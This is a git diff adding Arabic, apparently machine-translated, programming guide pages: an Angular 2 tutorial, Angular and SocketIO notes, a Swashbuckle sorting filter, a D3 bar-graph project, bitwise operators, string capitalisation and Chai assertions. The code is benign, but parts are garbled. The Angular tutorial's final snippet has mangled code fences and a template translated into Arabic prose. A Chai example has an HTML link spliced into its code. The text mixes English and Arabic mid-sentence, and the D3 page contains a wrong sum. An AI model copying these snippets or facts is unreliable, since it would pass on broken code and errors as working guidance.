+نظرًا لأن التطبيقات الزاويّة معيارية ، يمكننا استيراد أي وحدات أو مكتبات أخرى قد نحتاجها. هنا ، نحن `@Component` الوحدة النمطية الأساسية Angular 2 لإعطاء الوصول إلى المكون الخاص بنا إلى مصمم `@Component` . سيحتاج كل تطبيق إلى هذا الاستيراد للبدء.
+
+نظرًا لأننا استوردنا وظيفة `Component` أعلاه ، فيمكننا الآن استخدامها لربط البيانات الوصفية بفئة المكونات التي ستخبر Angular بكيفية إنشاء مكوننا والإجراءات التي سيوفرها.
+
+## ديكور مكون
+
+ ``    @Component({ 
+      selector: 'my-app', 
+      template: '<h1>Free Code Camp Rocks!</h1>' 
+    }) 
+ ``` 
+ Our metadata object has selector and template fields. 
+ * The `selector` specifies a CSS selector that indicates which HTML element will represent this component. The element we will use will be named "`my-app`". Angular will use this to create an instance of our component where it finds this element. 
+ * The `template` tells angular what template it will use for this component. This can refer to other Components or just a form of HTML that tells how to display the view for our component. Our template is just displaying an `h1` element containing the text "`Free Code Camp Rocks!`". 
+ 
+ ## Component Class 
+ Our final line provides an empty class named ***AppComponent*** 
+ ```js 
+ export class AppComponent { } 
+ ``` 
+ If we want to build a more complex component we can add logic and properties to the class. This component is extremely basic and simply displays some html, so its class will remain empty. 
+ 
+ We export our class so we can use it in other components in our application. 
+ 
+ Next, we need to connect our root component to Angular. To do this we create another file in our app folder called *`main.ts`* that will have the following code: 
+ ```js 
+    import { bootstrap }    from '@angular/platform-browser-dynamic'; 
+    import { AppComponent } from './app.component'; 
+    bootstrap(AppComponent); 
+ ``` 
+ This file imports the two items we need to start our app. 
+ * **`bootstrap`** - Angular's built in method that connects to the browser 
+ * **`AppComponent`** - Our component we created above (which is why we exported it) 
+ We then call `bootstrap` method with `AppComponent` 
+ 
+ **Finally, create index.html** 
+ 
+ ```html 
+    <html> 
+      <head> 
+        <title>Free Code Camp - Angular 2 Tutorial</title> 
+        <meta charset="UTF-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1"> 
+        <link rel="stylesheet" href="styles.css"> 
+        <!-- 1\. Load libraries --> 
+        <script src="https://npmcdn.com/core-js/client/shim.min.js"></script> 
+ 
+        <script src="https://npmcdn.com/zone.js@0.6.12?main=browser"></script> 
+        <script src="https://npmcdn.com/reflect-metadata@0.1.3"></script> 
+        <script src="https://npmcdn.com/systemjs@0.19.27/dist/system.src.js"></script> 
+ 
+        <!-- 2\. Configure SystemJS --> 
+        <script src="systemjs.config.js"></script> 
+        <script> 
+          System.import('app').catch(function(err){ console.error(err); }); 
+        </script> 
+      </head> 
+ 
+      <!-- Display app in my-app element --> 
+      <body> 
+        <my-app>Loading Your App...</my-app> 
+      </body> 
+    </html> 
+ ``` 
+ In commented section 1, we loaded several libraries that improve the compatibility of this tutorial with different browsers/versions. It also imports `system.src.js` which is used as module loader to import the app. 
+ 
+ In section 2, SystemJS is used to load our application and our various modules. In a production example we may want to use something else such as webpack. It was chosen here since we can use it with plunker. 
+ 
+ This is all that is required to get our simple application running. <a href="http://plnkr.co/edit/2i7Wjwd2JGj4NZtKvGD2" target="_blank">Here is a link to a plunker</a> that contains our working application. You can fork it into your own version and change whatever you'd like. 
+ 
+ <a target="_blank" href="http://plnkr.co/edit/2i7Wjwd2JGj4NZtKvGD2">VIEW APP</a> 
+ 
+ ## Add Functionality and Another Component 
+ 
+ Now let's add a bit more functionality to our program. We will create a counter that let's you increment it by clicking a button. 
+ 
+ Our increment component will be its own module so that we can reuse it in later applications. 
+ 
+ Let's name our file: `app/increment-clicker.component.ts` and set it up. 
+ ```js 
+ // app/increment-clicker.component.ts 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+    selector: 'increment-clicker', 
+    template: ` 
+      <div className="counter"> 
+        <h1>{{curClicks}} clicks</h1> 
+        <button type="button" (click)="incrementClicks()">Increment</button> 
+      </div> 
+    `, 
+    styles: [` 
+        .counter { 
+          width: 100%; 
+          margin: auto; 
+          background: darkgreen; 
+          border-radius: 5px; 
+          color: white; 
+          padding: 20px; 
+          text-align: center; 
+        } 
+        .counter h1 { 
+          margin: 0; 
+          padding: 20px; 
+          font-size: 36px; 
+        } 
+        .counter button { 
+          background: #f1c40f; 
+          border: 0; 
+          box-shadow: 0px 5px 0px #927608; 
+          padding: 20px; 
+          width: 100%; 
+          outline: none; 
+          border-radius: 5px; 
+          color: darkgreen; 
+          font-weight: bold; 
+        } 
+ 
+        .counter button:hover { 
+          background: #a9890a; 
+          cursor: pointer; 
+        } 
+    `] 
+ }) 
+ 
+ export class IncrementClicker { 
+  curClicks = 0; 
+ 
+  incrementClicks() { 
+    this.curClicks++; 
+  } 
+ } 
+ ``` 
+ Our component structure is similar to our previous one, but we've added a bit of functionality here. You will notice our class is no longer empty. We've added a variable to track the clicks as well as a function to increment them when the user clicks the button. 
+ 
+ You can display properties from your class in your template using double braces such as: `{{ variableName }}` 
+ 
+ We bind the button click event to our class function using Angulars Event Bindings. 
+ ```html 
+ <button type="button" (click)="incrementClicks()">Increment</button> 
+ ``` 
+ 
+ Notice that we've also added some styling to our components. This way everything is self-contained in this module. You may also include a `templateUrl` and/or `styleUrls` properties instead to extract the template and style rules to an external file and link them here. 
+ 
+ Now we just need to update our `AppComponent` to include our new component: 
+ ```js 
+ // app/app.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ /* Nested Component */ 
+ import { IncrementClicker } from 'app/increment-clicker.component'; 
+ 
+ @Component({ 
+  selector: 'my-app', 
+  directives: [IncrementClicker], 
+  template: ` 
+    <h1>Free Code Camp Rocks!</h1> 
+    <increment-clicker></increment-clicker> 
+  `, 
+  styles: [` 
+    h1 { color: darkgreen; font-family: Arial, Helvetica, sans-serif;} 
+  `] 
+ }) 
+ 
+ export class AppComponent { } 
+ ``` 
+ To pull in our new `IncrementClicker` component we need to import it by including the class name as well as the location of the typescript file as we did on this line: 
+ ```js 
+ import { IncrementClicker } from 'app/increment-clicker.component'; 
+ ``` 
+ We then add the `IncrementClicker` *component* as a directive to the `AppComponent` module using: 
+ ```js 
+ directives: [IncrementClicker], 
+`` 
+
+وأخيرًا ، نضيف العلامة التي يتصل بها المكون في النموذج. لذلك ، سيتطابق المحدد في مكون `IncrementClicker` مع العلامة التي نريد أن يظهر فيها.  
+`js template:`
+
+# رمز معسكر الصخور!
+
+`,`  
+يتم تضمين لدينا الآن في التطبيق لدينا!  
+\[قانون تحديث  
+[عرض التطبيق الكامل](http://run.plnkr.co/plunks/BdvNONEmO3Jwg0EavX22/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/angular-resources/index.md b/client/src/guide/arabic/miscellaneous/angular-resources/index.md
new file mode 100644
index 0000000000..0aa7dafcaf
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/angular-resources/index.md
@@ -0,0 +1,21 @@
+---
+title: Angular Resources
+localeTitle: الموارد الزاوي
+---
+مجموعة من الموارد الزاوي مفيدة
+
+## الصفحات العامة
+
+*   [Angular JS](https://angularjs.org/) - The Angular JS Homepage
+*   [دليل النمط الزاوي](https://github.com/johnpapa/angular-styleguide) - أفضل الممارسات التفصيلية لتطوير الزاوي
+
+## صفحات محددة الموضوع
+
+*   [توجيهات](http://www.sitepoint.com/practical-guide-angularjs-directives/) - دليل ممتاز الخوض في التفاصيل حول التوجيهات الزاوي (الجزء 1)
+*   [توجيهات](http://www.sitepoint.com/practical-guide-angularjs-directives-part-two/) - دليل ممتاز الخوض في التفاصيل حول التوجيهات الزاوي (الجزء 2)
+
+## أشرطة فيديو
+
+*   [التوجيه في JS Angular](https://www.youtube.com/watch?v=5uhZCc0j9RY) - توجيه العميل في 15 دقيقة
+*   [Angular ToDo App](https://www.youtube.com/watch?v=WuiHuZq_cg4) - An Angular ToDo App in 12 minutes
+*   [تشكيل مع Angular.JS](https://www.codeschool.com/courses/shaping-up-with-angular-js) - A مجانا Angular.JS تعليمي
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/angular-socketio/index.md b/client/src/guide/arabic/miscellaneous/angular-socketio/index.md
new file mode 100644
index 0000000000..50f296c225
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/angular-socketio/index.md
@@ -0,0 +1,10 @@
+---
+title: Angular Socketio
+localeTitle: Angular Socketio
+---
+إذا كنت قد حصلت على مشروع "رسم المخزون الخلفي للمشروع" ، فلعلك لاحظت أن معايير المكافأة تتمثل في تحديث قائمة الأسهم الخاصة بك عبر العملاء. يمكن تحقيق ذلك باستخدام SocketIO ، ولكن هذا ليس كل ما يمكن لـ SocketIO القيام به. تذكر في وقت سابق ، ذكرت أنه عند استخدام _$ http.post_ كان عليك تحديث _صفيفك_ المحلي بإصدار قاعدة البيانات للعنصر الذي كنت تنشره؟ SocketIO يحافظ على بيئة متصفح المستخدم متزامنة مع قاعدة البيانات الخاصة بك في الوقت الحقيقي. هذا له اثنين من التحركات العملية:
+
+1.  لم يعد لديك لتحديث البيانات المحلية الخاصة بك يدويا مع بيانات قاعدة البيانات. يتم التحكم فيه جميعًا تلقائيًا
+2.  يمكنك دفع تغييرات قاعدة البيانات مباشرة للمستخدمين على أجهزة مختلفة في نفس الوقت
+
+والأفضل من ذلك ، إذا قمت فقط بتضمين SocketIO عند مطالبتك بذلك أثناء إعداد fullstack الزاوي yeoman ، فلا يوجد أي عمل على الإطلاق لإدراجه. إنها تعمل من خارج الصندوق ، ولديها عرض عملي على الطريق **الرئيسي** ، ويمكنك تعلم كيفية استخدامه بنفسك بمجرد النظر في كيفية تضمينه في **main.controller.js** (لذلك لن أذهب إلى أبعد من ذلك التفاصيل).
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/arranging-operations-alphabetically-in-swashbuckle-swagger/index.md b/client/src/guide/arabic/miscellaneous/arranging-operations-alphabetically-in-swashbuckle-swagger/index.md
new file mode 100644
index 0000000000..888a3cea1b
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/arranging-operations-alphabetically-in-swashbuckle-swagger/index.md
@@ -0,0 +1,78 @@
+---
+title: Arranging Operations Alphabetically in Swashbuckle Swagger
+localeTitle: ترتيب العمليات حسب الترتيب الأبجدي في Swashbuckle اختيال
+---
+[Swashbuckle](https://github.com/domaindrivendev/Swashbuckle) يضيف بسلاسة [اختيال](http://swagger.io/) إلى مشاريع WebAPI. ومع ذلك ، لا تظهر العمليات على الصفحة بالترتيب الأبجدي.
+
+على الرغم من أن العمليات لن تظهر بالترتيب الأبجدي ، إلا أن Swashbuckle تسمح بمرشحات مخصصة وبتكويد صغير ، يمكن إظهار الترتيب بترتيب أبجدي.
+
+## مثال الكود
+
+ينشئ التعليمة البرمجية أدناه [DocumentFilter](https://github.com/domaindrivendev/Swashbuckle#documentfilter) ثم يتم تطبيقه على المستند النهائي كما هو موضح [هنا](https://github.com/domaindrivendev/Swashbuckle#modifying-generated-operations) .
+
+ `using Swashbuckle.Swagger; 
+ using System; 
+ using System.Collections.Generic; 
+ using System.Linq; 
+ using System.Web; 
+ 
+ namespace YourNamespace.Swagger.Extensions 
+ { 
+    public class CustomDocumentFilter : IDocumentFilter 
+    { 
+        public void Apply(SwaggerDocument swaggerDoc, SchemaRegistry schemaRegistry, System.Web.Http.Description.IApiExplorer apiExplorer) 
+        { 
+            //make operations alphabetic 
+            var paths = swaggerDoc.paths.OrderBy(e => e.Key).ToList(); 
+            swaggerDoc.paths = paths.ToDictionary(e => e.Key, e => e.Value); 
+ 
+            //controller comments do not get added to swagger docs. This is how to add them. 
+            AddControllerDescriptions(swaggerDoc, apiExplorer); 
+ 
+        } 
+ 
+        private static void AddControllerDescriptions(SwaggerDocument swaggerDoc, System.Web.Http.Description.IApiExplorer apiExplorer) 
+        { 
+            var doc = new YourPortal.Areas.HelpPage.XmlDocumentationProvider(GetXmlCommentsPath()); 
+ 
+            List<Tag> lst = new List<Tag>(); 
+            var desc = apiExplorer.ApiDescriptions; 
+            ILookup<HttpControllerDescriptor, ApiDescription> apiGroups = desc.ToLookup(api => api.ActionDescriptor.ControllerDescriptor); 
+            foreach (var apiGroup in apiGroups) 
+            { 
+                string tagName = apiGroup.Key.ControllerName; 
+                var tag = new Tag { name = tagName }; 
+                var apiDoc = doc.GetDocumentation(apiGroup.Key); 
+                if (!String.IsNullOrWhiteSpace(apiDoc)) 
+                    tag.description = apiDoc; 
+                lst.Add(tag); 
+ 
+            } 
+            if (lst.Count() > 0) 
+                swaggerDoc.tags = lst.ToList(); 
+        } 
+        private static string GetXmlCommentsPath() 
+        { 
+            return System.Web.Hosting.HostingEnvironment.MapPath("~/App_Data/YourPortal.xml"); 
+        } 
+    } 
+ } 
+` 
+
+الآن يمكنك ببساطة إضافته إلى ملف التكوين مثل هذا
+
+ `.EnableSwagger(c => 
+    { 
+        ... 
+        c.DocumentFilter<YourNamespace.Swagger.Extensions.CustomDocumentFilter>(); 
+        ... 
+    } 
+ ); 
+` 
+
+## المراجع:
+
+*   [Swashbuckle](https://github.com/domaindrivendev/Swashbuckle)
+*   [اختيال](http://swagger.io/)
+*   [DocumentFilter](https://github.com/domaindrivendev/Swashbuckle#documentfilter)
+*   [جوهر للقالب أعلاه](https://gist.github.com/pallu/0f28e98fa89d2855a321)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/backend-file-structures-in-angular/index.md b/client/src/guide/arabic/miscellaneous/backend-file-structures-in-angular/index.md
new file mode 100644
index 0000000000..8d66080083
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/backend-file-structures-in-angular/index.md
@@ -0,0 +1,10 @@
+---
+title: Backend File Structures in Angular
+localeTitle: هياكل ملف الخلفية في Angular
+---
+تقع واجهة المستخدم الخلفية للتطبيق التي تتفاعل مع قاعدة البيانات في **/ server / api**  
+دعونا نلقي نظرة على **/ server / api / thing** :
+
+1.  **index.js** : يوجه هذا الملف طلبات واجهة برمجة تطبيقات $ http التي يتم إجراؤها من الواجهة الأمامية للتطبيق إلى الوظيفة المناسبة في **thing.controller.js**
+2.  **thing.controller.js** : هنا حيث نتعامل بالفعل مع قاعدة البيانات! خذ دقيقة للنظر من هنا ومعرفة ما يجري. ستقوم هذه الوظائف بإرجاع جميع العناصر في مجموعة ، أو إرجاع عنصر واحد من مجموعة عند تمرير معرفها ، أو نشر عنصر إلى مجموعة ، أو تحديث عنصر في المجموعة (وهذا لا يعمل على النحو المنشود من المربع ، سنقوم بإصلاح ذلك في دقيقة واحدة) ، وبالطبع ، حذف عنصر من المجموعة.
+3.  **thing.model.js** : هنا ، يتم تعريف البنية الفعلية لكائن _الشيء_ . يمكنك إضافة أو إزالة أي حقول تريدها من نموذج _الشيء_ ، وطالما أنها صحيحة من الناحية التركيبية فإنها لن تكسر أي شيء ، حتى إذا كانت هناك _أشياء_ ذات مخططات مختلفة في قاعدة بياناتك بالفعل. لكن! ليس عليك فقط تعديل نموذج _الشيء_ لعمل نوع جديد من المجموعة ، لأن المولد-الزاوي-fullstack يمكنه القيام بذلك نيابة عنك!
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/bar-graph-project/index.md b/client/src/guide/arabic/miscellaneous/bar-graph-project/index.md
new file mode 100644
index 0000000000..617c8b5208
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/bar-graph-project/index.md
@@ -0,0 +1,95 @@
+---
+title: Bar Graph Project
+localeTitle: مشروع شريط الرسم البياني
+---
+## هدفنا هو تعلم أساسيات البيانات
+
+التصور باستخدام D3 من خلال هذا المشروع.
+
+![لقطة شاشة 2016-05-17 بتاريخ 5 02 41 م](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d46c5c1c76bd03b9e85d450da02695d3f07c75c.png)
+
+## ما هو D3.js؟
+
+لأولئك الذين ليسوا على دراية D3 ، D3.js هي مكتبة جافا سكريبت لمعالجة الوثائق بناء على البيانات. يساعدك D3 في جعل البيانات تنبض بالحياة باستخدام HTML و SVG و CSS.
+
+يساعدك D3.js على إرفاق بياناتك بعناصر DOM (نموذج كائن المستند). ثم يمكنك استخدام CSS3 و HTML و / أو SVG لعرض هذه البيانات. وأخيرًا ، يمكنك جعل البيانات تفاعلية من خلال استخدام التحويلات والتحويلات المستندة إلى البيانات في D3.js.
+
+## شرح المشروع:
+
+### سيناريو:
+
+هناك "فئة من الطلاب عبر الإنترنت تتفاعل مع مواضيع مختلفة من الموضوع وتعطي مسابقة حول هذه المواضيع.
+
+هناك 15 موضوعًا ولكل موضوع ، لدينا عدد من الطلاب الذين أجروا اختبارًا وسجلوا في ثلاث فئات: منخفض ، متوسط ​​وعالي
+
+### على سبيل المثال (البيانات المعطاة):
+
+الموضوع: "1" ، منخفض: 4 ، منتصف: 13 ، مرتفع: 18
+
+الموضوع: "2" ، منخفض: 11 ، منتصف: 12 ، مرتفع: 6
+
+الموضوع: "3" ، منخفض: 12 ، منتصف: 24 ، مرتفع: 6 وهكذا.
+
+لاحظ أن الموضوع 1 يحتوي على `4 + 13 + 8 = 35` طالب قام باختبار هذا الاختبار و الموضوع 2 لديه `11+12+6 = 29` طالب والموضوع 3 لديه 42 طالبًا وما إلى ذلك.
+
+نحن نريد أن نجعل المخططات التفاعلية للبار والمخطط الدائري. على سبيل المثال ، سيؤدي مؤشر الماوس فوق أحد الأشرطة إلى تغيير المخطط الدائري وفقًا لذلك والعكس صحيح.
+
+مع المزيج التفاعلي من المخطط الشريطي والمخطط الدائري ، حيث يعرض المخطط الشريطي عدد الطلاب الذين تفاعلوا مع موضوع معين (تم إجراؤه في الاختبار) والمخطط الدائري الذي يعرض تصنيف أداء الطلاب هذا في فئات "منخفضة ، متوسطة ، عالية" ، يمكننا تصور بياناتنا والحصول على المزيد من تحليل البيانات من ذلك.
+
+## تلميحات وموارد:
+
+### تعليمات خطوه بخطوه:
+
+[**D3 مقدمة:**](https://d3js.org) حيث يمكنك معرفة الاختيارات والخصائص الديناميكية والتحولات في D3.js.
+
+*   في وظيفة javascript الرئيسية ، اكتب دالة للتعامل مع Histogram (مخطط شريطي) - سيظهر Histogram إجمالي عدد الطلاب الذين أجروا الاختبار (تفاعلوا مع هذا الموضوع) لـ 15 موضوعًا.
+    
+    *   (هنا " [**البرنامج التعليمي"**](https://bost.ocks.org/mike/bar/) حيث يمكنك تعلم كيفية إنشاء مخطط شريطي باستخدام مكتبة جافا سكريبت D3. يعلم البرنامج التعليمي الأول كيفية إنشاء نسخة خالية من العظام في HTML ، ثم مخطط أكثر اكتمالاً في Scalable Vector Graphics (SVG) ، وأخيرًا التحولات المتحركة بين المشاهدات.)
+*   [خلق SVG للرسم البياني](http://codepen.io/SundeepB/pen/CxveH)
+    
+*   إنشاء وظيفة لتعيين محور س وإضافة x-axis إلى الرسم البياني SVG
+    
+*   إنشاء دالة لتعيين محور y وإنشاء أشرطة لمخطط تكراري لاحتواء المستطيلات وتصنيفات المواضيع.
+    
+*   قم بإنشاء المستطيلات وتصنيفات المواضيع
+    
+*   إنشاء وظيفة لتحديث القضبان. سيتم استخدام هذا من خلال المخطط الدائري
+    
+*   اكتب دالة للتعامل مع المخطط البياني. - المخطط الدائري سيكون له ثلاث شرائح - منخفضة ، متوسطة وعالية لتمثيل الدرجات.
+    
+    *   [**البرنامج التعليمي**](http://zeroviscosity.com/d3-js-step-by-step/step-1-a-basic-pie-chart) حيث يمكنك تعلم كيفية إنشاء مخطط دائري ، ثم الانتقال بين طرق العرض وكيفية إنشاء وسيلة إيضاح.
+*   إنشاء svg لمخطط دائري.
+    
+*   أنشئ وظيفة لرسم أقواس الشرائح الدائرية - ستكون الشرائح الدائرية منخفضة ومتوسطة وعالية
+    
+*   إنشاء وظيفة لحساب زوايا شريحة دائري.
+    
+*   ارسم الشرائح الدائرية.
+    
+*   إنشاء وظيفة لتحديث المخطط الدائري. سيتم استخدام هذا من خلال الرسم البياني.
+    
+*   حساب مجموع التردد حسب القطاع لجميع المواضيع.
+    
+*   حساب مجموع التردد من قبل الدولة لجميع القطاعات.
+    
+
+## نتيجة تحليل البيانات وما يمكن أن نستنتجه من التصور:
+
+*   يعرض المخطط الدائري الأولي تصنيفًا مجمّعًا لجميع درجات الطلاب في كل الموضوع معًا إلى ثلاث فئات "منخفضة ، متوسطة ، عالية"
+    
+*   مخطط شريطي أولي يعرض عدد الطلاب الذين تفاعلوا في هذا الموضوع بالذات
+    
+*   ستقوم أي فئة محددة من المخطط الدائري بتحديث المخطط الشريطي ، موضحًا عدد الطلاب الذين تفاعلوا في موضوعات مختلفة لديهم علامة تنتمي إلى هذه الفئة المحددة.
+    
+*   تعرض لقطات الشاشة أدناه مؤشر الماوس فوق شريحة "متوسط" وشريحة "عالية" من المخطط الدائري على التوالي ولشريحة معينة ومخططات شريط الموضوعات وعدد الطلاب.
+    
+
+![لقطة شاشة 2016-05-17 بتاريخ 5 13 53](//discourse-user-assets.s3.amazonaws.com/original/2X/1/106f06d412df6db5b4a421dc4769d22695cbec72.png)
+
+![لقطة شاشة 2016-05-17 بتاريخ 5 14 05 بعد الظهر](//discourse-user-assets.s3.amazonaws.com/original/2X/7/7b23ebe89f74f11090984dbc4dc68212e3beceb3.png)
+
+*   أي شريط مخطط شريطي محدّد سيؤدي إلى تحديث المخطط الدائري الذي يعرض تصنيف جميع الطلاب في هذا الموضوع بالذات إلى ثلاث فئات منخفضة ومتوسطة وعالية. فئات منخفضة ومتوسطة وعالية
+
+![لقطة شاشة 2016-05-17 بتاريخ 5 13 26 مساءً](//discourse-user-assets.s3.amazonaws.com/original/2X/7/7bd7c613bdb882f2b7c1f76f9778a1bda3e886dd.png)
+
+المراجع: [1\] أمثلة من \[https://d3js.org](https://d3js.org) [2\] مقدمة D3.js - \[https://www.dashingd3js.com/why-build-with-d3js](https://www.dashingd3js.com/why-build-with-d3js)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/bitwise-operators/index.md b/client/src/guide/arabic/miscellaneous/bitwise-operators/index.md
new file mode 100644
index 0000000000..75fe96ddce
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/bitwise-operators/index.md
@@ -0,0 +1,47 @@
+---
+title: Bitwise Operators
+localeTitle: مشغلات bitwise
+---
+`<<` ، `>>` ، `&` ، `|` و `~` و `^` هي مشغلات البتات التي تعمل على نمط بت واحد أو أكثر أو أرقام ثنائية على مستوى وحدات البت الفردية.
+
+## و المشغل
+
+`x & y`
+
+هل "bitwise و". كل جزء من الإخراج هو 1 إذا كانت البتة المقابلة من x AND of y هي 1 ، وإلا تكون 0.
+
+## أو المشغل
+
+`x | y`
+
+هل "bitwise أو". كل جزء من الإخراج هو 0 إذا كانت البتات المقابلة من x AND of y هي 0 ، وإلا يكون 1.
+
+## مشغل تكملة
+
+`~ x`
+
+إرجاع مكمل x - الرقم الذي تحصل عليه عن طريق تبديل كل 1 لـ 0 و 0 لكل 1. وهذا هو نفس -x - 1.
+
+## مشغل XOR
+
+`x ^ y`
+
+هل "البتاتيه الخالصة او". كل جزء من الخرج هو نفس البتة المقابلة في x إذا كان هذا البت في y هو 0 ، وهو مكمل البتة في x إذا كان هذا البت في y 1.
+
+## التحول الحسابي غادر المشغل
+
+`x << y`
+
+إرجاع x مع وحدات البت التي تم نقلها إلى اليسار بواسطة أماكن y (والبتات الجديدة على الجانب الأيمن هي الأصفار). هذا هو نفس ضرب X بنسبة 2 \*\* y ، مع الحفاظ على علامة الرقم. يلقي معظم المترجمين تحذيراً عندما تتحول مع عدد> = حجم (نوع). أنت عموما ينتهي مع 0 عند القيام بذلك.
+
+## الحساب الصحيح التحول المشغل
+
+`x >> y`
+
+تم إرجاع x مع البتات التي تم نقلها إلى اليمين من خلال أماكن y. هذا هو نفس القسمة x من 2 \*\* y لعدد صحيح غير موقعة. يحتوي الانتقال الأيمن للرقم الموقّع السلبي على سلوك محدد بالتنفيذ. يلقي معظم المترجمين تحذيراً عندما تتحول مع عدد> = حجم (نوع). قد يؤدي نقله إلى اليمين إلى ملء بتات "فارغة" باستخدام البت الأكثر أهمية (أي إجراء ملحق للتوقيع) أو قد يتحول في الأصفار اعتمادًا على النظام الأساسي و / أو المترجم.
+
+## تحول منطقي المشغل الصحيح
+
+`x >>> y`
+
+تم إرجاع x مع البتات التي تم نقلها إلى اليمين من خلال أماكن y. على عكس التحول الحسابي ، فإن التحولات المنطقية لا تشير إلى علامة. على سبيل المثال: -2 ممثلة في 8 بتات ستكون 11111110 (لأن البت الأكثر أهمية له وزن سلبي). سيعطيك نقله بشكل صحيح واحد باستخدام الحركات الحسابية 11111111 ، أو -1. ومع ذلك ، فإن التحول الصحيح المنطقي لا يهمني أن القيمة يمكن أن تمثل رقمًا ؛ إنها ببساطة تنقل كل شيء إلى اليمين وتعبئته من اليسار باستخدام 0s. إن تحويل شريحتنا الواحدة إلى اليمين بإستخدام إزاحة منطقية سيعطي 01111111. هذا المشغل ليس موجودًا بشكل دائم بكل اللغات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/capitalize-the-first-letter-of-a-string/index.md b/client/src/guide/arabic/miscellaneous/capitalize-the-first-letter-of-a-string/index.md
new file mode 100644
index 0000000000..81c5191225
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/capitalize-the-first-letter-of-a-string/index.md
@@ -0,0 +1,72 @@
+---
+title: Capitalize the First Letter of a String
+localeTitle: تكبير الحرف الأول من سلسلة
+---
+لتكبير الحرف الأول من سلسلة عشوائية ، يجب اتباع الخطوات التالية:
+
+1.  الحصول على الحرف الأول من السلسلة؛
+2.  تحويل الحرف الأول إلى أحرف كبيرة؛
+3.  الحصول على ما تبقى من السلسلة ؛
+4.  لسَلسَلة الحرف الأول بالأحرف الكبيرة مع باقي السلسلة وإرجاع النتيجة ؛
+
+## 1\. احصل على أول رسالة من السلسلة
+
+يجب عليك استخدام طريقة [charAt ()](http://forum.freecodecamp.com/t/javascript-string-prototype-charat/15932) ، في _الفهرس 0_ ، لتحديد الحرف الأول من السلسلة.
+
+ `var string = "freeCodecamp"; 
+ 
+ string.charAt(0); // Returns "f" 
+` 
+
+> ملاحظة: يفضل استخدام `charAt` `[ ]` ( [تدوين قوس](http://forum.freecodecamp.com/t/javascript-string-prototype-touppercase/15950) ) باسم `str.charAt(0)` إرجاع سلسلة فارغة ( _`''`_ ) لـ `str = ''` بدلاً من `undefined` في حالة `''[0]` .
+
+## 2\. تحويل الحرف الأول إلى أحرف كبيرة
+
+يمكنك استخدام أسلوب [toUpperCase ()](http://forum.freecodecamp.com/t/javascript-string-prototype-touppercase/15950) وتحويل سلسلة الاستدعاء إلى الحالة العليا.
+
+ `var string = "freeCodecamp"; 
+ 
+ string.charAt(0).toUpperCase(); // Returns "F" 
+` 
+
+## 3\. الحصول على البقية من السلسلة
+
+يمكنك استخدام طريقة [شريحة ()](https://github.com/freecodecamp/freecodecamp/wiki/js-array-prototype-slice) والحصول على الباقي من السلسلة (من الحرف الثاني ، _الفهرس 1_ ، إلى نهاية السلسلة).
+
+ `var string = "freeCodecamp"; 
+ 
+ string.slice(1); // Returns "reeCodecamp" 
+` 
+
+## 4\. قم بإرجاع النتيجة بإضافة الحرف الأول وبقية السلسلة
+
+يجب إنشاء دالة تقبل سلسلة كوسيطة فقط وترجع سلسلة الأحرف الأولى `string.charAt(0).toUpperCase()` والباقي من السلسلة `string.slice(1)` .
+
+ `var string = "freeCodecamp"; 
+ 
+ function capitalizeFirstLetter(str) { 
+  return str.charAt(0).toUpperCase() + str.slice(1); 
+ } 
+ 
+ capitalizeFirstLetter(string); // Returns "FreeCodecamp" 
+` 
+
+أو يمكنك إضافة هذه الوظيفة إلى `String.prototype` لاستخدامها مباشرةً على سلسلة باستخدام التعليمة البرمجية التالية ( _بحيث لا يمكن حساب هذه الطريقة ولكن يمكن استبدالها أو حذفها لاحقًا_ ):
+
+ `var string = "freeCodecamp"; 
+ 
+ /* this is how methods are defined in prototype of any built-in Object */ 
+ Object.defineProperty(String.prototype, 'capitalizeFirstLetter', { 
+    value: function () { 
+        return this.charAt(0).toUpperCase() + this.slice(1); 
+    }, 
+    writable: true, // so that one can overwrite it later 
+    configurable: true // so that it can be deleted later 
+ }); 
+ 
+ string.capitalizeFirstLetter(); // Returns "FreeCodecamp" 
+` 
+
+### مصدر
+
+[stackoverflow - استخدم الحرف الأول من السلسلة في جافا سكريبت](http://stackoverflow.com/questions/1026069/capitalize-the-first-letter-of-string-in-javascript/1026087#1026087)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/chaijs-assertexpression-message/index.md b/client/src/guide/arabic/miscellaneous/chaijs-assertexpression-message/index.md
new file mode 100644
index 0000000000..e3477fae6f
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/chaijs-assertexpression-message/index.md
@@ -0,0 +1,15 @@
+---
+title: Chaijs Assertexpression Message
+localeTitle: رسالة تأكيد
+---
+[param](/users/param) {Mixed} expressionto test for truthiness
+
+*   [param](/users/param) {سلسلة} عرض messageto على خطأ
+
+اكتب تعبيرات الاختبار الخاصة بك.
+
+ `assert('foo' !== 'bar', 'foo is not bar'); 
+ assert(Array.isArray(<a href='http://chaijs.com/api/assert/' target='_blank' rel='nofollow'>]), 'empty arrays are arrays'); 
+` 
+
+التفاصيل: \[http://chaijs.com/api/assert/
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/chaijs-cheatsheet/index.md b/client/src/guide/arabic/miscellaneous/chaijs-cheatsheet/index.md
new file mode 100644
index 0000000000..6dff4fcfc8
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/chaijs-cheatsheet/index.md
@@ -0,0 +1,130 @@
+---
+title: Chaijs Cheatsheet
+localeTitle: Chaigs Cheatsheet
+---
+## يجزم
+
+ `assert(val) 
+ assert.fail(actual, expected) 
+ assert.ok(val) // is truthy 
+ assert.equal(actual, expected) // 'compare with ==' 
